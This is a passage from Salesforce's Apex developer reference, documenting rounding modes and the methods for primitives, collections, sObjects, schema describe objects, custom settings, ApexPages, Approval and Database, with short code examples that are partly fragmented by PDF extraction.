case, this mode rounds towards the even neighbor. This rounding mode behaves the same
as the HALF_UP rounding mode if the digit to the left of the discarded fraction (decimal
point) is odd. It behaves the same as the HALF_DOWN rounding method if it is even. For
example:
• Input number 5.5: HALF_EVEN round mode result: 6
• Input number 1.1: HALF_EVEN round mode result: 1
• Input number -1.1: HALF_EVEN round mode result: -1
• Input number -2.7: HALF_EVEN round mode result: -3
Note that this rounding mode statistically minimizes cumulative error when applied
repeatedly over a sequence of calculations.
243
Reference Apex Primitive Methods
Name Description
HALF_UP Rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which
case, this mode rounds up. This rounding method behaves the same as the UP rounding
method if the discarded fraction (decimal point) is >= 0.5; otherwise, this rounding method
behaves the same as the DOWN rounding method. For example:
• Input number 5.5: HALF_UP round mode result: 6
• Input number 1.1: HALF_UP round mode result: 1
• Input number -1.1: HALF_UP round mode result: -1
• Input number -2.7: HALF_UP round mode result: -3
UNNECESSARY Asserts that the requested operation has an exact result, which means that no rounding
is necessary. If this rounding mode is specified on an operation that yields an inexact
result, an Exception is thrown. For example:
• Input number 5.5: UNNECESSARY round mode result: Exception
• Input number 1.0: UNNECESSARY round mode result: 1
UP Rounds away from zero. This rounding mode always truncates any fractions (decimal
points) prior to executing. Note that this rounding mode never decreases the magnitude
of the calculated value. For example:
• Input number 5.5: UP round mode result: 6
• Input number 1.1: UP round mode result: 2
• Input number -1.1: UP round mode result: -2
• Input number -2.7: UP round mode result: -3
Double Methods
The following are the system static methods for Double.
244
Reference Apex Primitive Methods
Double D1 = 5.5;
Long L1 = D1.round();
system.assertEquals(L1, 6);
For more information on Double, see Primitive Data Types on page 27.
Integer Methods
The following are the system static methods for Integer.
245
Reference Apex Primitive Methods
For more information on integers, see Primitive Data Types on page 27.
Long Methods
The following are the system static methods for Long.
For more information on Long, see Primitive Data Types on page 27.
String Methods
The following are the system static methods for String.
fromCharArray List<Integer> String Returns a String from the values of the list of integers.
charArray
valueOf Date d String Returns a String that represents the specified Date in
the standard “yyyy-MM-dd” format. For example:
Date myDate = Date.Today();
String sDate = String.valueOf(myDate);
246
Reference Apex Primitive Methods
valueOfGmt Datetime dt String Returns a String that represents the specified Datetime
in the standard “yyyy-MM-dd HH:mm:ss” format for
the GMT time zone
contains String compString Boolean Returns true if and only if the String that called the
method contains the specified sequence of characters in
the compString. For example:
247
Reference Apex Primitive Methods
endsWith String suffix Boolean Returns true if the String that called the method ends
with the specified suffix
equals String compString Boolean Returns true if the compString is not null and
represents the same binary sequence of characters as the
String that called the method. This method is true
whenever the compareTo method returns 0. For
example:
equalsIgnoreCase String compString Boolean Returns true if the compString is not null and
represents the same sequence of characters as the String
that called the method, ignoring case. For example:
indexOf String subString Integer Returns the index of the first occurrence of the specified
substring. If the substring does not occur, this method
returns -1.
indexOf String substring Integer Returns the index of the first occurrence of the specified
substring from the point of index i. If the substring does
Integer i
not occur, this method returns -1. For example:
lastIndexOf String substring Integer Returns the index of the last occurrence of the specified
substring. If the substring does not occur, this method
returns -1.
248
Reference Apex Primitive Methods
replace String target String Replaces each substring of a string that matches the
literal target sequence target with the specified literal
String replacement
replacement sequence replacement
replaceAll String regExp String Replaces each substring of a string that matches the
regular expression regExp with the replacement
String replacement
sequence replacement. See
http://java.sun.com/j2se/1.5.0/docs/
api/java/util/regex/Pattern.html for
information on regular expressions.
replaceFirst String regExp String Replaces the first substring of a string that matches the
regular expression regExp with the replacement
String replacement
sequence replacement. See
http://java.sun.com/j2se/1.5.0/docs/
api/java/util/regex/Pattern.html for
information on regular expressions.
split String regExp String[] Returns a list that contains each substring of the String
that is terminated by the regular expression regExp, or
Integer limit
the end of the String. See
http://java.sun.com/j2se/1.5.0/docs/
api/java/util/regex/Pattern.html for
information on regular expressions.
The substrings are placed in the list in the order in which
they occur in the String. If regExp does not match any
part of the String, the resulting list has just one element
containing the original String.
The optional limit parameter controls the number of
times the pattern is applied and therefore affects the
length of the list:
• If limit is greater than zero, the pattern is applied
at most limit - 1 times, the list's length is no greater
than limit, and the list's last entry contains all input
beyond the last matched delimiter.
• If limit is non-positive then the pattern is applied
as many times as possible and the list can have any
length.
• If limit is zero then the pattern is applied as many
times as possible, the list can have any length, and
trailing empty strings are discarded.
For example, for String s = 'boo:and:foo':
249
Reference Apex Primitive Methods
startsWith String prefix Boolean Returns true if the String that called the method begins
with the specified prefix
substring Integer startIndex String Returns a new String that begins with the character at
the specified startIndex and extends to the end of the
String
substring Integer startIndex, String Returns a new String that begins with the character at
the specified startIndex and extends to the character
Integer endIndex
at endIndex - 1. For example:
'hamburger'.substring(4, 8);
// Returns "urge"
'smiles'.substring(1, 5);
// Returns "mile"
toUpperCase String locale String Converts all of the characters in the String to the
uppercase using the rules of the specified locale
trim String Returns a String that no longer contains any white space
characters, including leading and trailing spaces, tabs,
newline characters, and so on
250
Reference Apex Primitive Methods
For more information on Strings, see Primitive Data Types on page 27.
Time Methods
The following are the system static methods for Time.
Time myTime =
Time.newInstance(18, 30, 2, 20);
System.assertEquals(myMinutes, 35);
251
Reference Apex Collection Methods
myTime = myTime.addHours(2);
For more information on time, see Primitive Data Types on page 27.
List Methods
The list methods are all instance methods, that is, they operate on a particular instance of a list. For example, the following
removes all elements from myList:
myList.clear();
Even though the clear method does not include any parameters, the list that calls it is its implicit parameter.
The following are the instance parameters for List.
Note: In the table below, List_elem represents a single element of the same type as the list.
252
Reference Apex Collection Methods
add Integer i Void Inserts an element e into the list at index position i. In
the following example, a list with six elements is created,
Any type e
and integers are added to the first and second index
positions.
addAll List l Void Adds all of the elements in list l to the list that calls the
method. Note that both lists must be of the same type.
addAll Set s Void Add all of the elements in set s to the list that calls the
method. Note that the set and the list must be of the
same type.
clear Void Removes all elements from a list, consequently setting
the list's length to zero
clone List (of same type) Makes a duplicate copy of a list.
Note that if this is a list of sObject records, the duplicate
list will only be a shallow copy of the list. That is, the
duplicate will have references to each object, but the
sObject records themselves will not be duplicated. For
example:
Account a = new
Account(name='Acme',
billingcity='New York');
Account b = new Account();
Account[] l1 = new
Account[]{a,b};
Account[] l2 = l1.clone();
l1[0].billingcity = 'San Francisco';
System.assertEquals(
l1[0].billingcity,
'San Francisco');
System.assertEquals(
l2[0].billingcity,
'San Francisco');
253
Reference Apex Collection Methods
get Integer i Array_elem Returns the list element stored at index i. For example,
getSObjectType Schema.SObjectType Returns the token of the sObject type that makes up a
list of sObjects. Use this with describe information to
determine if a list contains sObjects of a particular type.
For example:
public class listTest {
{
// Create a generic sObject variable s
SObject s = Database.query
('SELECT Id FROM Account LIMIT 1');
254
Reference Apex Collection Methods
Account.sObjectType);
Account.sObjectType);
}
}
Note that this method can only be used with lists that
are composed of sObjects.
For more information, see Understanding Apex Describe
Information on page 138.
255
Reference Apex Collection Methods
set Integer i Void Assigns e to the position at list index i. For example:
Any typee
List<Integer> myList = new Integer[6];
myList.set(0, 47);
myList.set(1, 52);
system.assertEquals(myList.get(1), 52);
size Integer Returns the number of elements in the list. For example:
List<Integer> myList = new
List<Integer>();
Integer size = myList.size();
system.assertEquals(size, 0);
sort Void Sorts the items in the list in ascending order. You can
only use this method with lists composed of primitive
data types. In the following example, the list has three
elements. When the list is sorted, the first element is
null because it has no value assigned while the second
element has the value of 5:
List<Integer> L1 = new Integer[3];
// Assign values to the first
// two elements
L1[0] = 10;
L1[1] = 5;
L1.sort();
// First element is null, second is 5
system.assertEquals(L1.get(1), 5);
256
Reference Apex Collection Methods
Map Methods
The map methods are all instance methods, that is, they operate on a particular instance of a map. The following are the
instance methods for maps.
Note: In the table below:
• Key_type represents the primitive type of a map key.
• Value_type represents the primitive or sObject type of a map
value.
map1.put(1, a);
map1.get(1).billingcity =
'San Francisco';
System.assertEquals(map1.get(1).billingcity,
'San Francisco');
System.assertEquals(map2.get(1).billingcity,
'San Francisco');
containsKey Key type key Boolean Returns true if the map contains a mapping for the specified
key. For example:
257
Reference Apex Collection Methods
map1.get(1).billingcity =
'San Francisco';
System.assertEquals(map1.get(1).
billingcity, 'San Francisco');
System.assertEquals(map2.get(1).
billingcity, 'New York');
get Key type key Value_type Returns the value to which the specified key is mapped, or
null if the map contains no value for this key. For example:
getSObjectType Schema.SObjectType Returns the token of the sObject type that makes up the map
values. Use this with describe information, to determine if a
map contains sObjects of a particular type. For example:
public class mapTest {
{
// Create a generic sObject variable s
SObject s = Database.query
('SELECT Id FROM Account LIMIT 1');
258
Reference Apex Collection Methods
Note that this method can only be used with maps that have
sObject values.
For more information, see Understanding Apex Describe
Information on page 138.
isEmpty Boolean Returns true if the map has zero key-value pairs. For example:
Map<String, String> colorCodes =
new Map<String, String>();
Boolean empty = colorCodes.isEmpty();
system.assertEquals(empty, true);
keySet Set of Key_type Returns a set that contains all of the keys in the map. For
example:
Map<String, String> colorCodes =
new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');
Set <String> colorSet = new Set<String>();
colorSet = colorCodes.keySet();
put Key key, Value_type Associates the specified value with the specified key in the
map. If the map previously contained a mapping for this key,
Value value
the old value is returned by the method and then replaced.
For example:
putAll Map m Void Copies all of the mappings from the specified map m to the
original map. The new mappings from m replace any mappings
that the original map had.
putAll sObject[] l If the map is of IDs or Strings to sObjects, adds the list of
sObject records l to the map in the same way as the Map
constructor with this input.
remove Key key Value_type Removes the mapping for this key from the map if it is
present. The value is returned by the method and then
removed. For example:
259
Reference Apex Collection Methods
size Integer Returns the number of key-value pairs in the map. For
example:
Map<String, String> colorCodes =
new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');
Integer mSize = colorCodes.size();
system.assertEquals(mSize, 2);
values list of Value_type Returns a list that contains all of the values in the map in
arbitrary order. For example:
Map<String, String> colorCodes =
new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');
List<String> colors = new List<String>();
colors = colorCodes.values();
Set Methods
The set methods work on a set, that is, an unordered collection of primitives or sObjects that was initialized using the set
keyword. The set methods are all instance methods, that is, they all operate on a particular instance of a set. The following
are the instance methods for sets.
Note: In the table below, Set_elem represents a single element in the set.
set<string> myString =
new Set<String>{'a', 'b', 'c'};
Boolean result;
result = myString.add('d');
system.assertEquals(result, true);
addAll List l Boolean Adds all of the elements in the specified list to the set
if they are not already present. This method results in
the union of the list and the set. The list must be of the
same type as the set that calls the method.
This method returns true if the original set changed
as a result of the call.
260
Reference Apex Collection Methods
set<string> myString =
new Set<String>{'a', 'b'};
set<string> sString =
new Set<String>{'c'};
Boolean result1;
result1 = myString.addAll(sString);
system.assertEquals(result1, true);
set<string> myString =
new Set<String>{'a', 'b'};
Boolean result;
result = myString.contains('z');
system.assertEquals(result, false);
containsAll List l Boolean Returns true if the set contains all of the elements in
the specified list. The list must be of the same type as
the set that calls the method.
containsAll Set s Boolean Returns true if the set contains all of the elements in
the specified set. The specified set must be of the same
type as the original set that calls the method. For
example:
set<string> myString =
new Set<String>{'a', 'b'};
set<string> sString =
new Set<String>{'c'};
set<string> rString =
new Set<String>{'a', 'b', 'c'};
result2 = myString.containsAll(rString);
system.assertEquals(result2, true);
261
Reference Apex Collection Methods
Set<integer> mySet =
new Set<integer>();
Boolean result;
result = mySet.isEmpty();
system.assertEquals(result, true);
remove Set Elemente Boolean Removes the specified element from the set if it is
present.
This method returns true if the original set changed
as a result of the call.
removeAll List l Boolean Removes the elements in the specified list from the set
if they are present. This method results in the relative
compliment of the two sets. The list must be of the same
type as the set that calls the method.
This method returns true if the original set changed
as a result of the call. For example:
Set<integer> mySet =
new Set<integer>{1, 2, 3};
List<integer> myList =
new List<integer>{1, 3};
Boolean result =
mySet.removeAll(myList);
System.assertEquals(result, true);
removeAll Set s Boolean Removes the elements in the specified set from the
original set if they are present. This method results in
the relative compliment of the two sets. The specified set
must be of the same type as the original set that calls the
method.
This method returns true if the original set changed
as a result of the call.
retainAll List l Boolean Retains only the elements in this set that are contained
in the specified list. This method results in the
intersection of the list and the set. The list must be of the
same type as the set that calls the method.
This method returns true if the original set changed
as a result of the call. For example:
Set<integer> mySet =
new Set<integer>{1, 2, 3};
List<integer> myList =
new List<integer>{1, 3};
Boolean result =
mySet.retainAll(myList);
262
Reference Enum Methods
System.assertEquals(result, true);
retainAll Set s Boolean Retains only the elements in the original set that are
contained in the specified set. This method results in
the intersection of the two sets. The specified set must
be of the same type as the original set that calls the
method.
This method returns true if the original set changed
as a result of the call.
System.assertEquals(result, true);
Enum Methods
Although Enum values cannot have user-defined methods added to them, all Enum values, including system Enum values,
have the following methods defined in Apex:
For example:
Integer I = StatusCode.DELETE_FAILED.ordinal();
String S = MyEnum.X.name();
263
Reference sObject Methods
sObject Methods
Schema Methods
The following table lists the system methods for Schema.
264
Reference Apex sObject Methods
Schema.DataCategoryGroupSobjectTypePair Object
Schema.DataCategoryGroupSobjectTypePair specifies a category group and an associated object. It is used by the
describeDataCategoryGroupStructures method to return the categories available to this object. The following table lists all
the methods for Schema.DataCategoryGroupSobjectTypePair.
265
Reference Apex sObject Methods
Schema.DescribeDataCategoryGroupResult Object
The describeDataCategoryGroups method returns a Schema.DescribeDataCategoryGroupResult object containing the
list of the category groups associated with the specified object.
The following is an example of how to instantiate a data category group describe result object:
List<Schema.DescribeDataCategoryGroupResult> describeCategoryResult =
Schema.describeDataCategoryGroups(objType);
For additional information and code examples using describeDataCategoryGroups, see Accessing All Data Categories
Associated with an sObject.
The following table lists all the methods available as part of the data category group describe result. None of the methods take
an argument.
266
Reference Apex sObject Methods
Schema.DescribeDataCategoryGroupStructureResult object
The describeDataCategoryGroupStructures method returns a list of Schema.Describe
DataCategoryGroupStructureResult objects containing the category groups and categories associated with the specified object.
The following is an example of how to instantiate a data category group structure describe result object:
DataCategoryGroupSobjectTypePair pair1 =
new DataCategoryGroupSobjectTypePair();
pair1.setSobject('KnowledgeArticleVersion');
pair1.setDataCategoryGroupName('Regions');
DataCategoryGroupSobjectTypePair pair2 =
new DataCategoryGroupSobjectTypePair();
pair2.setSobject('Questions');
pair2.setDataCategoryGroupName('Regions');
pairs.add(pair1);
pairs.add(pair2);
List<Schema.DescribeDataCategoryGroupStructureResult>results =
Schema.describeDataCategoryGroupStructures(pairs, true);
For additional information and code examples using describeDataCategoryGroupStructures, see Accessing All Data
Categories Associated with an sObject.
The following table lists all the methods available as part of the data category group structure describe result. None of the
methods take an argument.
Schema.DataCategory Object
A Schema.DataCategory object represents the categories within a category group. The Schema.DataCategory object is returned
by the getTopCategories method. The following table lists all the methods for the Schema.DataCategory object. None
of these methods take an argument.
267
Reference Apex sObject Methods
sObject Methods
sObject methods are all instance methods, that is, they are called by and operate on a particular instance of an sObject, such
as an account or contact. The following are the instance methods for sObjects.
field.addError String errorMsg Void Places the specified error message on the field that calls
this method in the application interface and prevents
any DML operation from occurring. For example:
Trigger.new.myField__C.addError('bad');
Note:
• When used on Trigger.new in before insert
and before update triggers, and on
Trigger.old in before delete triggers, the
error appears in the application interface.
• When used in Visualforce controllers, if there is an
inputField component bound to field, the message
is attached to the component. For more information,
see Validation Rules and Standard Controllers in the
Visualforce Developer's Guide.
• This method is highly specialized because the field
identifier is not actually the invoking object—the
sObject record is the invoker. The field is simply
used to identify the field that should be used to
display the error.
268
Reference Apex sObject Methods
get String fieldName Object Returns the value for the field specified by fieldName,
such as AccountNumber.
For more information, see Dynamic SOQL on page 146.
get Schema.sObjectField Object Returns the value for the field specified by the field token
Field Schema.sObjectField (for example,
Schema.Account.AccountNumber).
For more information, see Dynamic SOQL on page 146.
getSObject String fieldName sObject Returns the value for the field specified by fieldName.
This method is primarily used with dynamic DML to
access values for external IDs.
For more information, see Dynamic DML on page 147.
getSObject Schema.SObjectField sObject Returns the value for the field specified by the field token
fieldName Schema.fieldName (for example,
Schema.Account.MyExternalId). This method is
primarily used with dynamic DML to access values for
external IDs.
269
Reference Apex sObject Methods
getSObjects String fieldName sObject[] Returns the values for the field specified by fieldName.
This method is primarily used with dynamic DML to
access values for associated objects, such as child
relationships.
For more information, see Dynamic DML on page 147.
getSObjects Schema.SObjectType sObject[] Returns the value for the field specified by the field token
fieldName Schema.fieldName (for example,
Schema.Account.Contact).This method is primarily
used with dynamic DML to access values for associated
objects, such as child relationships.
For more information, see Dynamic DML on page 147.
getSObjectType Schema.SObjectType Returns the token for this sObject. This method is
primarily used with describe information.
For more information, see Understanding Apex Describe
Information on page 138.
put String fieldName, Object Sets the value for the field specified by fieldName and
Object value returns the previous value for the field.
For more information, see Dynamic SOQL on page 146.
put Schema.SObjectField Object Sets the value for the field specified by the field token
fieldName, Object Schema.sObjectField (for example,
value Schema.Account.AccountNumber) and returns the
previous value for the field.
For more information, see Dynamic SOQL on page 146.
putSObject String fieldName, sObject Sets the value for the field specified by fieldName. This
sObject value method is primarily used with dynamic DML for setting
external IDs. The method returns the previous value of
the field.
For more information, see Dynamic SOQL on page 146.
putSObject Schema.sObjectType sObject Sets the value for the field specified by the token
fieldName, sObject Schema.sObjectType. This method is primarily used
value with dynamic DML for setting external IDs. The
method returns the previous value of the field.
For more information, see Dynamic SOQL on page 146.
setOptions database.DMLOptions Void Sets the DMLOptions object for the sObject.
DMLOptions
For more information, see Database DMLOptions
Methods on page 296.
270
Reference Apex sObject Methods
Schema.DescribeFieldResult F =
Schema.SObjectType.Account.fields.Name;
getLabel String Returns the object's label, which may or may not
match the object name. For example, an organization
in the medical industry might change the label for
Account to Patient. This label is then used in the
Salesforce.com user interface. See the Salesforce.com
online help for more information.
getLabelPlural String Returns the object's plural label, which may or may
not match the object name. For example, an
organization in the medical industry might change
the plural label for Account to Patients. This label is
then used in the Salesforce.com user interface. See
the Salesforce.com online help for more information.
getLocalName String Returns the name of the object, similar to the
getName method. However, if the object is part of
the current namespace, the namespace portion of the
name is omitted.
271
Reference Apex sObject Methods
272
Reference Apex sObject Methods
ChildRelationship Methods
If an sObject is a parent object, you can access the child relationship as well as the child sObject using the ChildRelationship
object methods.
A ChildRelationship object is returned from the sObject describe result using the getChildRelationship method. For
example:
Schema.DescribeSObjectResult R = Account.SObjectType.getDescribe();
List<Schema.ChildRelationship> C = R.getChildRelationships();
You can only use 100 getChildRelationships method calls per Apex script. For more information about governor limits,
see Understanding Execution Governors and Limits on page 184.
The following table describes the methods available as part of the ChildRelationship object. None of the methods take an
argument.
RecordTypeInfo Methods
If an sObject has a record type associated with it, you can access information about the record type using the RecordTypeInfo
object methods.
A RecordTypeInfo object is returned from the sObject describe result using the getRecordTypeInfos method. For example:
Schema.DescribeSObjectResult R = Account.SObjectType.getDescribe();
List<Schema.RecordTypeInfo> RT = R.getRecordTypeInfos();
In addition to the getRecordTypeInfos method, you can use the getRecordTypeInfosById and the
getRecordTypeInfosByName methods. These methods return maps that associate RecordTypeInfo with record IDs and
record names, respectively.
You can only return 100 RecordTypeInfo objects per Apex script. For more information about governor limits, see Understanding
Execution Governors and Limits on page 184.
The following example assumes at least one record type has been created for the Account object:
273
Reference Apex sObject Methods
The following table describes the methods available as part of the RecordTypeInfo object. None of the methods take an
argument.
Schema.DescribeFieldResult F = Account.AccountNumber.getDescribe();
274
Reference Apex sObject Methods
275
Reference Apex sObject Methods
isFilterable Boolean Returns true if the field can be used as part of the
filter criteria of a WHERE statement, false otherwise
isGroupable Boolean Returns true if the field can be included in the
GROUP BY clause of a SOQL query, false
otherwise. This method is only available for Apex
classes and triggers saved using API version 18.0 and
higher.
isHtmlFormatted Boolean Returns true if the field has been formatted for
HTML and should be encoded for display in
HTML, false otherwise. One example of a field
that returns true for this method is a hyperlink
custom formula field. Another example is a custom
formula field that has an IMAGE text function.
isIdLookup Boolean Returns true if the field can be used to specify a
record in an upsert method, false otherwise
isNameField Boolean Returns true if the field is a name field, false
otherwise. This method is used to identify the name
field for standard objects (such as AccountName for
an Account object) and custom objects. Objects can
only have one name field, except where the
276
Reference Apex sObject Methods
isNamePointing Boolean Returns true if the field can have multiple types of
objects as parents. For example, a task can have both
the Contact/Lead ID (WhoId) field and the
Opportunity/Account ID (WhatId) field return
true for this method. because either of those objects
can be the parent of a particular task record. This
method returns false otherwise.
isNillable Boolean Returns true if the field is nillable, false otherwise.
A nillable field can have empty content. A
non-nillable field must have a value for the object to
be created or saved.
isRestrictedPicklist Boolean Returns true if the field is a restricted picklist,
false otherwise
isSortable Boolean Returns true if a query can sort on the field, false
otherwise
isUnique Boolean Returns true if the value for the field must be
unique, false otherwise
isUpdateable Boolean Returns true if the field can be edited by the current
user, false otherwise
isWriteRequiresMasterRead Boolean Returns true if writing to the detail object requires
read sharing instead of read/write sharing of the
parent.
277
Reference Apex sObject Methods
Schema.PicklistEntry Methods
Picklist fields contain a list of one or more items from which a user chooses a single item. They display as drop-down lists in
the Salesforce.com user interface. One of the items can be configured as the default item.
A Schema.PicklistEntry object is returned from the field describe result using the getPicklistValues method. For example:
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
List<Schema.PicklistEntry> P = F.getPicklistValues();
You can only use 100 getPicklistValue method calls per Apex script. For more information about governor limits, see
Understanding Execution Governors and Limits on page 184.
The following table describes the methods available as part of the PicklistEntry object. None of the methods take an argument.
278
Reference Apex sObject Methods
Schema.sObjectField
A Schema.sObjectField object is returned from the field describe result using the getControler and getSObjectField
methods. For example:
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
Schema.sObjectField T = F.getSObjectField();
The following table describes the method available as part of the sObjectField object. This method does not take an argument.
Schema.sObjectType
A Schema.sObjectType object is returned from the field describe result using the getReferenceTo method, or from the
sObject describe result using the getSObjectType method. For example:
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
List<Schema.sObjectType> P = F.getReferenceTo();
The following table describes the methods available as part of the sObjectType object.
279
Reference Apex sObject Methods
The following are the instance methods for hierarchy custom settings:
280
Reference Apex sObject Methods
For more information on custom settings, see “Custom Settings Overview” in the Salesforce.com online help.
The following example uses a custom setting from Country and State Code Custom Settings Example. This example
demonstrates that the getValues and getInstance methods list custom setting return identical values.
281
Reference Apex sObject Methods
The following example uses a hierarchy custom setting called Hierarchy. Hierarchy has two fields: OverrideMe and
DontOverrideMe. In addition, a user named Robert has a System Administrator profile. The organization, profile, and user
settings for this example are as follows:
Organization settings
OverrideMe—Hello
DontOverrideMe—World
Profile settings
OverrideMe—Goodbye
DontOverrideMe is not set.
User settings
OverrideMe—Fluffy
DontOverrideMe is not set.
The following example demonstrates the result of the getInstance method if Robert calls it in his organization:
Hierarchy__c CS = Hierarchy__c.getInstance();
System.Assert(CS.OverrideMe__c == 'Fluffy');
System.assert(CS.DontOverrideMe__c == 'World');
If Robert passes his user ID specified by RobertId to getInstance, the results are the same. This is because the lowest
level of data in the custom setting is specified at the user level.
Hierarchy__c CS = Hierarchy__c.getInstance(RobertId);
System.Assert(CS.OverrideMe__c == 'Fluffy');
System.assert(CS.DontOverrideMe__c == 'World');
If Robert passes the System Administrator profile ID specified by SysAdminID to getInstance, the result is different. The
data specified for the profile is returned:
Hierarchy__c CS = Hierarchy__c.getInstance(SysAdminID);
System.Assert(CS.OverrideMe__c == 'Goodbye');
System.assert(CS.DontOverrideMe__c == 'World');
When Robert tries to return the data set for the organization using getOrgDefaults, the result is:
Hierarchy__c CS = Hierarchy__c.getOrgDefaults();
System.Assert(CS.OverrideMe__c == 'Hello');
System.assert(CS.DontOverrideMe__c == 'World');
By using the getValues method, Robert can get the hierarchy custom setting values specific to his user and profile settings.
For example, if Robert passes his user ID RobertId to getValues, the result is:
Hierarchy__c CS = Hierarchy__c.getValues(RobertId);
System.Assert(CS.OverrideMe__c == 'Fluffy');
// Note how this value is null, because you are returning
// data specific for the user
System.assert(CS.DontOverrideMe__c == null);
If Robert passes his System Administrator profile ID SysAdminID to getValues, the result is:
Hierarchy__c CS = Hierarchy__c.getValues(SysAdminID);
System.Assert(CS.OverrideMe__c == 'Goodbye');
282
Reference Apex sObject Methods
The Foundation_States custom setting is also a List type of custom setting and has the following fields:
• Country Code
• State Code
• State Name
The Visualforce page shows two picklists: one for country, and one for state.
283
Reference Apex sObject Methods
<apex:page controller="CountryStatePicker">
<apex:form >
<apex:actionFunction name="rerenderStates" rerender="statesSelectList" >
<apex:param name="firstParam" assignTo="{!country}" value="" />
</apex:actionFunction>
<table><tbody>
<tr>
<th>Country</th>
<td>
<apex:selectList id="country" styleclass="std" size="1"
value="{!country}" onChange="rerenderStates(this.value)">
<apex:selectOptions value="{!countriesSelectList}"/>
</apex:selectList>
</td>
</tr>
<tr id="state_input">
<th>State/Province</th>
<td>
<apex:selectList id="statesSelectList" styleclass="std" size="1"
value="{!state}">
<apex:selectOptions value="{!statesSelectList}"/>
</apex:selectList>
</td>
</tr>
</tbody></table>
</apex:form>
</apex:page>
The Apex controller CountryStatePicker finds the values entered into the custom settings, then returns them to the
Visualforce page.
284
Reference System Methods
System Methods
285
Reference Apex System Methods
• Database
- Database Batch
- Database DMLOptions
- Database EmptyRecycleBinResult
- Database Error
• Limits
• Math
• Package
• Search
• System
• Test
ApexPages Methods
Use ApexPages to add and check for messages associated with the current page, as well as to reference the current page. In
addition, ApexPages is used as a namespace for the PageReference and Message classes.
The following table lists the ApexPages methods:
addMessages Exception ex Void Adds a list of messages to the current page context based
on a thrown exception.
getMessages ApexPages.Message[] Returns a list of the messages associated with the current
context.
hasMessages Boolean Returns true if there are messages associated with the
current context, false otherwise.
hasMessages ApexPages.Severity Boolean Returns true if messages of the specified severity exist,
false otherwise.
Approval Methods
The following table lists the static Approval methods. Approval is also used as a namespace for the ProcessRequest and
ProcessResult classes.
// Insert an account
annualRevenue=100.0);
286
Reference Apex System Methods
Approval.process(req1);
process Approval.ProcessRequest Approval.ProcessResult Submits a new approval request and approves or rejects
ProcessRequests existing approval requests.
Boolean The optional opt_allOrNone parameter specifies
opt_allOrNone whether the operation allows for partial success. If you
specify false for this parameter and an approval fails, the
remainder of the approval processes can still succeed.
process Approval.ProcessRequest Approval.ProcessResult Submits a list of new approval requests, and approves or
[] [] rejects existing approval requests.
ProcessRequests
process Approval.ProcessRequest Approval.ProcessResult Submits a list of new approval requests, and approves or
[] [] rejects existing approval requests.
ProcessRequests
The optional opt_allOrNone parameter specifies
Boolean whether the operation allows for partial success. If you
opt_allOrNone specify false for this parameter and an approval fails, the
remainder of the approval processes can still succeed.
For more information on Apex approval processing, see Apex Approval Processing Classes on page 396.
Database Methods
The following are the system static methods for Database.
287
Reference Apex System Methods
countQuery String query Integer Returns the number of records that a dynamic
SOQL query would return when executed. For
example,
String QueryString =
'SELECT count() FROM Account';
Integer I =
Database.countQuery(QueryString);
delete SObject[] recordsToDelete DeleteResult[] Deletes a list of existing sObject records, such as
individual accounts or contacts, from your
Boolean opt_allOrNone
organization’s data. delete is analogous to the
delete() statement in the Web services API.
The optional opt_allOrNone parameter specifies
whether the operation allows partial success. If you
specify false for this parameter and a record fails,
the remainder of the DML operation can still
succeed. This method returns a result object that
can be used to verify which records succeeded,
which failed, and why.
288
Reference Apex System Methods
delete RecordIDs []IDs DeleteResult[] Deletes a list of existing sObject records, such as
individual accounts or contacts, from your
Boolean opt_allOrNone
organization’s data. delete is analogous to the
delete() statement in the Web services API.
The optional opt_allOrNone parameter specifies
whether the operation allows partial success. If you
specify false for this parameter and a record fails,
the remainder of the DML operation can still
succeed. This method returns a result object that
can be used to verify which records succeeded,
which failed, and why.
emptyRecycleBin RecordIds []Ids Database. Permanently deletes the specified records from the
EmptyRecycleBin recycle bin. Note the following:
Result[] • After records are deleted using this method they
cannot be undeleted.
• Only 200 records can be specified for deletion.
• The logged in user can delete any record that
he or she can query in their recycle bin, or the
recycle bins of any subordinates. If the logged
in user has “Modify All Data” permission, he
or she can query and delete records from any
recycle bin in the organization.
• Cascade delete record IDs should not be
included in the list of IDs; otherwise an error
occurs. For example, if an account record is
deleted, all related contacts, opportunities,
contracts, and so on are also deleted. Only
include the Id of the top level account. All
related records are automatically removed.
• Deleted items are added to the number of items
processed by a DML statement, and the method
call is added to the total number of DML
statements issued. The emptyRecycleBin
method uses the DML governor limits.
emptyRecycleBin sObject sObject Database. Permanently deletes the specified sObject from the
EmptyRecycleBin recycle bin. Note the following:
Result • After an sObject is deleted using this method
it cannot be undeleted.
• Only 200 sObjects can be specified for deletion.
289
Reference Apex System Methods
emptyRecycleBin sObjects []listOfSObjects Database. Permanently deletes the specified sObjects from
EmptyRecycleBin the recycle bin. Note the following:
Result[] • After an sObject is deleted using this method
it cannot be undeleted.
• Only 200 sObjects can be specified for deletion.
• The logged in user can delete any sObject that
he or she can query in their recycle bin, or the
recycle bins of any subordinates. If the logged
in user has “Modify All Data” permission, he
or she can query and delete sObjects from any
recycle bin in the organization.
• Do not include an sObject that was deleted due
to a cascade delete; otherwise an error occurs.
For example, if an account is deleted, all related
contacts, opportunities, contracts, and so on are
also deleted. Only include sObjects of the top
level account. All related sObjects are
automatically removed.
• Deleted items are added to the number of items
processed by a DML statement, and the method
call is added to the total number of DML
statements issued. The emptyRecycleBin
method uses the DML governor limits.
executeBatch sObject className ID Executes the specified class as a batch Apex job.
For more information, see Using Batch Apex on
page 151.
Note: The class called by the
executeBatch method implements the
execute method.
290
Reference Apex System Methods
getQueryLocator sObject [] listOfQueries QueryLocator Creates a QueryLocator object used in batch Apex
or Visualforce. For more information, see Database
Batch Apex Objects and Methods on page 295,
Understanding Apex Managed Sharing on page
158, and StandardSetController Class on page
359.
You can't use getQueryLocator with any query
that contains an aggregate function.
getQueryLocator String query QueryLocator Creates a QueryLocator object used in batch Apex
or Visualforce. For more information, see Database
Batch Apex Objects and Methods on page 295,
Understanding Apex Managed Sharing on page
158, and StandardSetController Class on page
359.
You can't use getQueryLocator with any query
that contains an aggregate function.
insert sObject [] recordsToInsert SaveResult[] Adds one or more sObjects, such as individual
accounts or contacts, to your organization’s data.
Boolean opt_allOrNone |
